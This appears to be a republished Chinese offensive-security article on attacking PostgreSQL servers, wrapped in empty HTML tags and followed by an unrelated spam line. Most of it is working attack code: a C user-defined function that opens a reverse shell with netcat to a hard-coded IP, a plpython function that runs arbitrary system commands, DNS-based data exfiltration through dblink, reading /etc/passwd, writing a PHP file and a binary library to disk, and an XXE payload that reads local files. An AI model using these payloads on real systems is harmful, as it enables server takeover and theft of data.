<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tips/6449

                    這篇文章主要講解了如何 Hacking PostgreSQL 數據庫,總結了一些常用方法。

                    0x01 SQL 注入


                    大體上和 MySQL 差不多,有一些變量不一樣。具體就不再舉例,可以看這篇總結:PostgreSQL SQL Injection Cheat Sheet
                    此外,利用 sqlmap 也是一個不錯的方式。

                    0x02 執行命令


                    C

                    sqlmap 給出的幾個 UDF 在我本地測試并不成功,所以最好的方法是自己編譯一個動態鏈接庫。
                    根據官方文檔,我們要定義一個 PG_MODULE_MAGIC。在 PostgreSQL 這個是為了 Postgresql 的安全機制(大概?),在 8.2 以后需要驗證這個 magic block,不然,在加在動態鏈接庫的時候會報錯:

                    ERROR:  incompatible library "xxx.so": missing magic block
                    HINT:  Extension libraries are required to use the PG_MODULE_MAGIC macro.
                    

                    執行系統命令的動態鏈接庫源碼為:

                    #!c++
                    #include "postgres.h"
                    #include "fmgr.h"
                    #include <stdlib.h>
                    
                    #ifdef PG_MODULE_MAGIC
                    PG_MODULE_MAGIC;
                    #endif
                    
                    text *exec()
                    {
                        system("nc -e /bin/bash 10.211.55.2 9999");
                    }
                    

                    利用如下命令編譯 .so 文件:

                    #!bash
                    gcc 1.c -I`pg_config --includedir-server` -fPIC -shared -o udf.so
                    

                    在 pgsql 里執行:

                    #!sql
                    CREATE OR REPLACE FUNCTION exec()  RETURNS text AS  '/tmp/1.so', 'exec' LANGUAGE C STRICT;
                    select exec();
                    

                    監聽的 9999 端口得到一個 shell:

                    Python

                    默認 PostgreSQL 不會安裝 Python 的擴展,在 Ubuntu 下可以通過:

                    #!bash
                    apt-get install postgresql-plpython-9.1
                    

                    進行安裝,除了 python 的擴展,還有 sh、perl、ruby 等等。
                    安裝完成后,首先是創建一個 UDF 來執行我們要執行的命令:

                    #!sql
                    CREATE FUNCTION system (a text)
                      RETURNS text
                    AS $$
                      import os
                      return os.popen(a).read()
                    $$ LANGUAGE plpython2u;
                    

                    其中的 plpython2u 可以利用如下語句獲取:

                    select * from pg_language;
                    

                    我們可以根據返回來判斷利用哪個語言(plpython2u、plpythonu、plpython3u 等等)。

                    創建好 UDF 后,直接調用如下語句即可:

                    #!sql
                    select system('ls -la');
                    

                    此外,sh、ruby 等同理,可以參考官方文檔來寫一個 UDF。

                    文檔地址:http://www.postgresql.org/docs/8.2/static/server-programming.html

                    0x03 DNS 請求獲取數據


                    同樣的,PostgreSQL 可以通過 DNS Request 一樣獲取數據,在盲注的情況下。用到的一個擴展叫做 dblink,可以通過如下命令開啟:

                    #!sql
                    CREATE EXTENSION dblink
                    

                    接著運行如下語句,獲取當前數據庫用戶名稱:

                    #!sql
                    SELECT * FROM dblink('host='||(select user)||'.f27558c1f94c0595.xxxxx.xx user=someuser dbname=somedb', 'SELECT version()') RETURNS (result TEXT);
                    

                    遠程獲取到請求內容:

                    0x04 讀寫文件


                    PostgreSQL 讀取文件雖然有些蛋疼,但是還是可以讀取的:

                    #!sql
                    CREATE TABLE temptable(t text);
                    COPY temptable FROM '/etc/passwd';
                    SELECT * FROM temptable limit 1 offset 0;
                    

                    讀取結束后:

                    #!sql
                    DROP TABLE temptable;
                    

                    寫文件分為兩個部分,一個是寫 webshell,另外一個是寫二進制文件。
                    寫 webshell 十分簡單,利用:

                    #!php
                    COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
                    

                    即可寫一個文件。
                    根據瘋狗的這一篇帖子:http://zone.wooyun.org/content/4971,說是可以利用 PostgreSQL 的“大對象數據”來寫,但是我測試是失敗的。報錯如下:

                    #!bash
                    ERROR:  pg_largeobject entry for OID 2008, page 0 has invalid data field size 2378
                    

                    用 COPY 的 FORMAT 位 binary 來寫文件的話,會被 PostgreSQL 加上幾個字節,導致不能識別為 ELF 文件。
                    實際上,閱讀官方文檔可知,寫的文件每一頁不能超過 2KB,所以我們要把數據分段:

                    #!sql
                    SELECT lo_create(12345);
                    INSERT INTO pg_largeobject VALUES (12345, 0, decode('7f454c4...0000', 'hex'));
                    INSERT INTO pg_largeobject VALUES (12345, 1, decode('0000000...0000', 'hex'));
                    INSERT INTO pg_largeobject VALUES (12345, 2, decode('f604000...0000', 'hex'));
                    INSERT INTO pg_largeobject VALUES (12345, 3, decode('0000000...7400', 'hex'));
                    SELECT lo_export(12345, '/tmp/test.so');
                    SELECT lo_unlink(12345);
                    

                    其中每一段都要小于等于 2KB,這樣就可以成功寫入:

                    0x05 XXE


                    老版本的 PostgreSQL 存在 XXE 漏洞。具體可以看這篇文章:PostgreSQL (all) error-based XXE 0day
                    大體就是執行語句:

                    #!sql
                    select xmlparse(document '<?xml version="1.0" standalone="yes"?><!DOCTYPE content [ <!ENTITY abc SYSTEM "/etc/network/if-up.d/mountnfs">]><content>&abc;</content>');
                    

                    可以獲取一些數據,也可以進行 SSRF 等。不過因為年代很久,可能很多都修復過了,所以作為一個保留方案,可能會有意外的驚喜。

                    參考


                    1. PostgreSQL SQL Injection Cheat Sheet
                    2. 關于PostgreSQL的那些事兒(文件讀取寫入、命令執行的辦法)
                    3. PostgreSQL 9.0 Documentation
                    4. PostgreSQL (all) error-based XXE 0day

                    最后,如有錯誤請不吝賜教。

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频